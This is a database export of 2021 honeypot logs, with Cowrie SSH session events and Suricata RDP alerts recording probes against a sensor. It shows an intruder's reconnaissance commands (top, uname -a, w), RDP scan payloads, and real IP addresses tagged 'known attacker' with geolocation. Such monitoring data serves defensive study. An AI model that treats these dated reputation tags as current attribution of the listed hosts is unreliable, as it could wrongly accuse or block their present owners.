35413	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.560909+03	2021-09-20 15:15:03.22769+03	{"_id": "xAYbA3wBvYTbRNuEqFsm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "159.253.30.249", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.14966320991516113, "duplicate": true, "timestamp": "2021-09-20T12:08:35.560909Z", "@timestamp": "2021-09-20T12:08:35.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35414	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:36.275523+03	2021-09-20 15:15:03.229689+03	{"_id": "xQYbA3wBvYTbRNuEqFsn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:36.275523Z", "@timestamp": "2021-09-20T12:08:36.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35415	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:36.276076+03	2021-09-20 15:15:03.23069+03	{"_id": "xgYbA3wBvYTbRNuEqFsn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:36.276076Z", "@timestamp": "2021-09-20T12:08:36.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35416	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:08:36.240231+03	2021-09-20 15:15:03.23169+03	{"_id": "xwYbA3wBvYTbRNuEqVtF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:35.561764+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1646391856435812, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61582, "dest_port": 3389, "timestamp": "2021-09-20T12:08:36.240231Z", "@timestamp": "2021-09-20T12:08:36.240Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35417	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:36.84762+03	2021-09-20 15:15:03.23269+03	{"_id": "zwYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:36.847620Z", "@timestamp": "2021-09-20T12:08:36.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35418	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.273788+03	2021-09-20 15:15:03.23369+03	{"_id": "0gYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:37.273788Z", "@timestamp": "2021-09-20T12:08:37.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35419	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.564228+03	2021-09-20 15:15:03.23472+03	{"_id": "2AYbA3wBvYTbRNuEr1v3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:37.564228Z", "@timestamp": "2021-09-20T12:08:37.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35420	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:38.17951+03	2021-09-20 15:15:03.236693+03	{"_id": "3gYbA3wBvYTbRNuEsVsX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:38.104859+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2757264578971, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 9614, "dest_port": 3389, "timestamp": "2021-09-20T12:08:38.179510Z", "@timestamp": "2021-09-20T12:08:38.179Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
45332	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:44:06.019401+03	2021-09-20 16:45:02.808592+03	{"_id": "yQZzA3wBvYTbRNuEGKzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:44:06.019401Z", "@timestamp": "2021-09-20T13:44:06.019Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35421	87.251.67.120	109.199.241.180	Suricata	2021-09-20 15:08:38.365463+03	2021-09-20 15:15:03.237693+03	{"_id": "3wYbA3wBvYTbRNuEsVsX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:38.104859+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2757264578971, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 9614, "dest_port": 3389, "timestamp": "2021-09-20T12:08:38.365463Z", "@timestamp": "2021-09-20T12:08:38.365Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	MD
35422	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.927317+03	2021-09-20 15:15:03.238693+03	{"_id": "sAYbA3wBvYTbRNuEpFs8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "159.253.30.249", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.11803436279296875, "duplicate": true, "timestamp": "2021-09-20T12:08:34.927317Z", "@timestamp": "2021-09-20T12:08:34.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35423	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.110694+03	2021-09-20 15:15:03.23972+03	{"_id": "sQYbA3wBvYTbRNuEpFs8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:35.110694Z", "@timestamp": "2021-09-20T12:08:35.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35424	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:35.111247+03	2021-09-20 15:15:03.240726+03	{"_id": "sgYbA3wBvYTbRNuEpFs9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:35.111247Z", "@timestamp": "2021-09-20T12:08:35.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35425	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:08:35.889292+03	2021-09-20 15:15:03.242745+03	{"_id": "ygYbA3wBvYTbRNuEqVtF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:35.561764+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1646391856435812, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61582, "dest_port": 3389, "timestamp": "2021-09-20T12:08:35.889292Z", "@timestamp": "2021-09-20T12:08:35.889Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35426	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:08:35.889292+03	2021-09-20 15:15:03.244721+03	{"_id": "ywYbA3wBvYTbRNuEqVtF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:35.561764+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1646391856435812, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61582, "dest_port": 3389, "timestamp": "2021-09-20T12:08:35.889292Z", "@timestamp": "2021-09-20T12:08:35.889Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35427	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:36.65573+03	2021-09-20 15:15:03.245691+03	{"_id": "zQYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "159.253.30.249", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.38028454780578613, "duplicate": true, "timestamp": "2021-09-20T12:08:36.655730Z", "@timestamp": "2021-09-20T12:08:36.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35428	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:36.847076+03	2021-09-20 15:15:03.246718+03	{"_id": "zgYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:36.847076Z", "@timestamp": "2021-09-20T12:08:36.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35429	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.022233+03	2021-09-20 15:15:03.247693+03	{"_id": "0AYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "159.253.30.249", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.1752758026123047, "duplicate": true, "timestamp": "2021-09-20T12:08:37.022233Z", "@timestamp": "2021-09-20T12:08:37.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35430	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.273238+03	2021-09-20 15:15:03.24969+03	{"_id": "0QYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-c6x-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:37.273238Z", "@timestamp": "2021-09-20T12:08:37.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	SE
35695	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:10:08.784853+03	2021-09-20 15:15:03.601689+03	{"_id": "KAYdA3wBvYTbRNuEE16o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "295dcc903b2a", "@version": "1", "duration": 2.1570637226104736, "timestamp": "2021-09-20T12:10:08.784853Z", "@timestamp": "2021-09-20T12:10:08.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	US
35431	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.387902+03	2021-09-20 15:15:03.250689+03	{"_id": "zAYbA3wBvYTbRNuErFsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "159.253.30.249", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.1147456169128418, "duplicate": true, "timestamp": "2021-09-20T12:08:37.387902Z", "@timestamp": "2021-09-20T12:08:37.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
35432	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:37.636698+03	2021-09-20 15:15:03.252691+03	{"_id": "2QYbA3wBvYTbRNuEr1v3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "159.253.30.249", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "13be58f0efff", "@version": "1", "duration": 0.07257628440856934, "duplicate": true, "timestamp": "2021-09-20T12:08:37.636698Z", "@timestamp": "2021-09-20T12:08:37.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	SE
